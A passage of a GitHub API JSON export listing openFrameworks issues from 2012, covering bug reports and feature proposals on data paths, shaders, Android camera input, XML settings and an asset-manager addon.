Android","user":{"login":"bostonbusmap","id":863262,"avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"433032cca043cedb67180dc5109062da","url":"https://api.github.com/users/bostonbusmap","html_url":"https://github.com/bostonbusmap","followers_url":"https://api.github.com/users/bostonbusmap/followers","following_url":"https://api.github.com/users/bostonbusmap/following","gists_url":"https://api.github.com/users/bostonbusmap/gists{/gist_id}","starred_url":"https://api.github.com/users/bostonbusmap/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bostonbusmap/subscriptions","organizations_url":"https://api.github.com/users/bostonbusmap/orgs","repos_url":"https://api.github.com/users/bostonbusmap/repos","events_url":"https://api.github.com/users/bostonbusmap/events{/privacy}","received_events_url":"https://api.github.com/users/bostonbusmap/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-08-30T17:43:54Z","updated_at":"2012-08-30T17:44:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This would basically add support for pinch zoom, similar to the current support for swipes. I'm willing to add the support myself, but I wanted to submit an issue first to make sure it wasn't already done and that the functionality was wanted.\n\nIt would also require Android 2.2 or higher. I think that's what is recommended currently but I wanted to make sure that's an absolute requirement for ofxAndroid. Can anyone comment whether I should go forward with this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1523","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1523/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1523/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1523/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1523","id":6558968,"number":1523,"title":"Bugfix ofToDataPath using Poco::Path","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":32,"created_at":"2012-08-30T17:05:10Z","updated_at":"2013-03-10T19:39:35Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1523","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1523.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1523.patch"},"body":"Replaces #1251\n\nCloses #1522, #1250, #819\n\nNeeds serious testing across all platforms.\nWorks fine here on osx first time (so i might have overlooked something)\n\nUsing Poco::Path we seriously clear up a bunch of folder functions.\n\nI've also introduced ofSetWorkingDirectoryToDefault() and moved the call for it to ofRunApp, which should resolve #1522\n\nAlso I'm starting to think that ofDirectory should be returning Poco::Path derivatives not Poco::File derivatives.\n\nI'm not sure here if windows system dialogs changing the cwd are fixed. Will look more now, but eyes on early!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1522","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1522/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1522/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1522/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1522","id":6557319,"number":1522,"title":"ofSetDataPathRoot doing what it shouldn't","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-08-30T16:02:39Z","updated_at":"2012-08-30T16:07:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently `ofSetDataPathRoot` reads as:\n\n```c++\n//--------------------------------------------------\nvoid ofSetDataPathRoot(string newRoot){\n\tstring newPath = \"\";\n\n\t#ifdef TARGET_OSX\n\t\t#ifndef TARGET_OF_IPHONE\n\t\t\tchar path[MAXPATHLEN];\n\t\t\tuint32_t size = sizeof(path);\n\n\t\t\tif (_NSGetExecutablePath(path, &size) == 0){\n\t\t\t\t//printf(\"executable path is %s\\n\", path);\n\t\t\t\tstring pathStr = string(path);\n\n\t\t\t\t//theo: check this with having '/' as a character in a folder name - OSX treats the '/' as a ':'\n\t\t\t\t//checked with spaces too!\n\n\t\t\t\tvector < string> pathBrokenUp = ofSplitString( pathStr, \"/\");\n\n\t\t\t\tnewPath = \"\";\n\n\t\t\t\tfor(int i = 0; i < pathBrokenUp.size()-1; i++){\n\t\t\t\t\tnewPath += pathBrokenUp[i];\n\t\t\t\t\tnewPath += \"/\";\n\t\t\t\t}\n\n\t\t\t\t//cout << newPath << endl; // some sanity checks here\n\t\t\t\t//system( \"pwd\" );\n\n\t\t\t\tchdir ( newPath.c_str() );\n\t\t\t\t//system(\"pwd\");\n\t\t\t}else{\n\t\t\t\tofLog(OF_LOG_FATAL_ERROR, \"buffer too small; need size %u\\n\", size);\n\t\t\t}\n\t\t#endif\n\t#endif\n\t\n\tdataPathRoot() = newRoot;\n\tisDataPathSet() = true;\n}\n```\n\nAfter talking to @ofTheo , it's important to make sure that our working directory is set to our .app enclosing folder so our data folder keeps the same relative location.\n\nThis function is generally first made at the first call of ofToDataPath, meaning that ofToDataPath can change your working directory. Therefore I suggest we:\n\n1. Move this to `ofRunApp`\n2. Rewrite this using Poco::Path\n3. Implement this for Windows/VS also (to avoid $(TargetDir) issues)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1519","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1519/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1519/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1519/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1519","id":6518810,"number":1519,"title":"ofVboMesh::draw - normals update logic reversed?","user":{"login":"jvcleave","id":150037,"avatar_url":"https://secure.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-08-29T05:11:33Z","updated_at":"2012-08-29T05:11:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"from the forum:\nhttp://forum.openframeworks.cc/index.php/topic,10596.new.html\n\nIt looks like line 60 and 63 need swapped to be in line with the other properties? \n\nhttps://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/gl/ofVboMesh.cpp#L60"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1517","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1517/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1517/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1517/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1517","id":6503331,"number":1517,"title":"ProjectGenerator does not compile with VS 2012","user":{"login":"JakeHendy","id":545914,"avatar_url":"https://secure.gravatar.com/avatar/1bae85527cf76c1d48d9111055eaf148?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1bae85527cf76c1d48d9111055eaf148","url":"https://api.github.com/users/JakeHendy","html_url":"https://github.com/JakeHendy","followers_url":"https://api.github.com/users/JakeHendy/followers","following_url":"https://api.github.com/users/JakeHendy/following","gists_url":"https://api.github.com/users/JakeHendy/gists{/gist_id}","starred_url":"https://api.github.com/users/JakeHendy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JakeHendy/subscriptions","organizations_url":"https://api.github.com/users/JakeHendy/orgs","repos_url":"https://api.github.com/users/JakeHendy/repos","events_url":"https://api.github.com/users/JakeHendy/events{/privacy}","received_events_url":"https://api.github.com/users/JakeHendy/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-08-28T16:18:55Z","updated_at":"2012-08-28T16:18:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I've tried the 0.71 release from the OpenFrameworks website and also cloning the repo and using the `develop` branch. \n\nAttempting to compile the ProjectGenerator using the repo yields different results depending on the solution configuration.\n\n[Release Error List](http://f.cl.ly/items/3a2P2A0y0S3x1K2u090i/OpenFrameworks%20GitHub%20Release%20Errors%2028-08-2012.txt)\n\n[Debug error List](http://f.cl.ly/items/462K3e0n2q0T0C1U3k3s/OpenFrameworks%20GitHub%20Debug%20Errors%2028-08-2012.txt)\n\nUnfortunately I'm a complete fool at C++, and I wanted to use OpenFrameworks to get into it. I haven't been able to get it to compile on OS X 10.8 or Windows 7 (using VS 2012 RC and the openframeworks.cc version) or Windows 8 (with VS 2012 RTM). \n\nAny ideas?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1515","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1515/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1515/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1515/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1515","id":6488541,"number":1515,"title":"Bug in ofShader setupShaderFromSource() - OpenGL error 1280","user":{"login":"digitologist","id":728401,"avatar_url":"https://secure.gravatar.com/avatar/6066657aec6e02f2529e7cc573a23227?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6066657aec6e02f2529e7cc573a23227","url":"https://api.github.com/users/digitologist","html_url":"https://github.com/digitologist","followers_url":"https://api.github.com/users/digitologist/followers","following_url":"https://api.github.com/users/digitologist/following","gists_url":"https://api.github.com/users/digitologist/gists{/gist_id}","starred_url":"https://api.github.com/users/digitologist/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/digitologist/subscriptions","organizations_url":"https://api.github.com/users/digitologist/orgs","repos_url":"https://api.github.com/users/digitologist/repos","events_url":"https://api.github.com/users/digitologist/events{/privacy}","received_events_url":"https://api.github.com/users/digitologist/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":3,"created_at":"2012-08-28T00:44:40Z","updated_at":"2013-02-20T11:16:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Just upgraded my project to 0071, and got a new error in my console:\n> OF: OF_LOG_ERROR: OpenGL generated error 1280 trying to get the compile status for GL_FRAGMENT_SHADER shader. Does your video card support this?\n\nI tracked it down to the following lines:\n> // check compile status\n>\tGLint status = GL_FALSE;\n>\tglGetShaderiv(shader, GL_COMPILE_STATUS, &status);\n> GLuint err = glGetError();\n> if (err != GL_NO_ERROR){\n> ofLog( OF_LOG_ERROR, \"OpenGL generated error \" + ofToString(err) + \" trying to get the compile status for \" + nameForType(type) + \" shader. Does your video card support this?\" );\n> return false;\n> }\n\nDespite the status resolving to true, the glGetError() check was delivering an error 1280. I was able to fix the problem by adding another call to glGetError() earlier in the function body:\n\n>// create program if it doesn't exist already\n>\tcheckAndCreateProgram();\n>\t**GLuint clearErrors = glGetError();**\n>\t\n>\t// create shader\n>\tGLuint shader = glCreateShader(type);"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1514","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1514/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1514/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1514/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1514","id":6487194,"number":1514,"title":"ofDrawBitmapStringHighlight doesn't respect ofDrawBitmapMode ","user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-08-27T23:10:37Z","updated_at":"2012-08-28T19:30:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey @kylemcdonald, this occurs when drawing inside of an fbo when using the default `OF_BITMAPMODE_MODEL_BILLBOARD`\n\n```c++\n ofDrawBitmapStringHighlight(s,p);\n```\n\nBasically, I think the ofRect [here](https://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/graphics/ofGraphics.cpp#L1150) needs the same `ofDrawBitmapMode` dependent view treatment that the bitmap string gets [here](https://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/gl/ofGLRenderer.cpp#L1061)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1512","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1512/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1512/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1512/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1512","id":6475720,"number":1512,"title":"Error on addAttribute method on ofxXmlSettings","user":{"login":"camilosw","id":1142037,"avatar_url":"https://secure.gravatar.com/avatar/6af66148027bd6eb5b91165b1ee15b18?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6af66148027bd6eb5b91165b1ee15b18","url":"https://api.github.com/users/camilosw","html_url":"https://github.com/camilosw","followers_url":"https://api.github.com/users/camilosw/followers","following_url":"https://api.github.com/users/camilosw/following","gists_url":"https://api.github.com/users/camilosw/gists{/gist_id}","starred_url":"https://api.github.com/users/camilosw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/camilosw/subscriptions","organizations_url":"https://api.github.com/users/camilosw/orgs","repos_url":"https://api.github.com/users/camilosw/repos","events_url":"https://api.github.com/users/camilosw/events{/privacy}","received_events_url":"https://api.github.com/users/camilosw/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":2,"created_at":"2012-08-27T14:58:51Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I got this error:\n\nerror: call of overloaded 'addAttribute(const char [6], const char [2], float)' is ambiguous\n\nThis hapened when I call addAttribute in this way:\n\n```c++\nsettings.addAttribute(\"point\", \"x\", value);\n```\n\nThere is a conflict between this addAttribute methods, because the compiler can't figure what of them call:\n\n```c++\nint addAttribute(const string& tag, const string& attribute, double value, int which = 0);\nint addAttribute(const string& tag, const string& attribute, double value);\n```\n\nI'm working in codeblocks on windows."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1511","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1511/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1511/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1511/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1511","id":6467460,"number":1511,"title":"feature : core add-on ofxAssets","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":14,"created_at":"2012-08-27T07:04:39Z","updated_at":"2012-12-21T14:57:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"hey all!\n\nin a few of my addons i build an asset register to handle:\n* images\n* shaders\n* fonts\n\nThe idea is common. That on program start (and whenever you call `ofxAssets::rescan()`), it scans the `data/` folder for assets and builds the dictionaries.\n\ne.g. if my folder structure is like\n\n```\ndata/landscape.png\ndata/phong.vert\ndata/phong.frag\ndata/blur.frag\ndata/verdana.ttf\n```\n\nor sometimes i do...\n\n```\ndata/images/landscape.png\ndata/shaders/phong.vert\ndata/shaders/phong.frag\ndata/shaders/blur.frag\ndata/fonts/verdana.ttf\n```\n\nI can then access these from anywhere in my app as long as i'm including the ofxAssets header:\n\n```c++\n#include \"ofxAssets.h\"\nusing namespace ofxAssets;\n\nvoid testApp::draw() {\n shader[\"blur\"].begin();\n image[\"landscape\"].draw(10,10);\n shader[\"blur\"].end();\n font[\"verdana\"].drawString(\"is this API correct?\", 10, 10);\n\n //or if i don't want to add the using namespace clause\n ofxAssets::shader[\"phong\"].setUniform3f(\"position\", myVec3);\n}\n```\n\nI'd like to see this as a core add-on as I think it's rather universally useful, the code is beginning to be duplicated in different addons and the API is simple enough to avoid much deliberation. (spoke to soon)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1510","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1510/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1510/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1510/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1510","id":6416697,"number":1510,"title":"ofxAndroidVideoGrabber improve","user":{"login":"inspirit","id":223020,"avatar_url":"https://secure.gravatar.com/avatar/a6a9307749588c6cc9887a9b473d55e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a6a9307749588c6cc9887a9b473d55e9","url":"https://api.github.com/users/inspirit","html_url":"https://github.com/inspirit","followers_url":"https://api.github.com/users/inspirit/followers","following_url":"https://api.github.com/users/inspirit/following","gists_url":"https://api.github.com/users/inspirit/gists{/gist_id}","starred_url":"https://api.github.com/users/inspirit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/inspirit/subscriptions","organizations_url":"https://api.github.com/users/inspirit/orgs","repos_url":"https://api.github.com/users/inspirit/repos","events_url":"https://api.github.com/users/inspirit/events{/privacy}","received_events_url":"https://api.github.com/users/inspirit/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-08-23T19:05:56Z","updated_at":"2012-08-23T19:05:56Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"on Android we get raw Camera stream in YUV format where first width*height values (Y plane) is grayscale representation of the frame. now the implementation doesnt allow to access this raw stream data it just converts it to the specified pixel output format (RGB by default) which u need for rendering.\n\ni think it not very efficient way of working with camera data. imagine we are doing some CV stuff in most cases such tasks require Grayscale representation of image and in our case we need to convert again (not fast on mobiles). probably it would be a nice addition to store Y plane of incoming YUV frame. and return it on request. it will save quite significant amount of computations in some scenarios. of course it is Android only feature but still reasonable one.\n\nlet me know what u think.\n\nalso i looked at YUV2RGB conversion routines and was wondering why not to implement NEON optimised one since u have an option to compile lib with neon support enabled. of course compiler will try to do it for u but in most cases manually done methods works way faster then auto generated by compiler. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1508","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1508/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1508/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1508/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1508","id":6415330,"number":1508,"title":"ofFbo::checkGLSupport() returns true but maxSamples = -1 so it crashes on 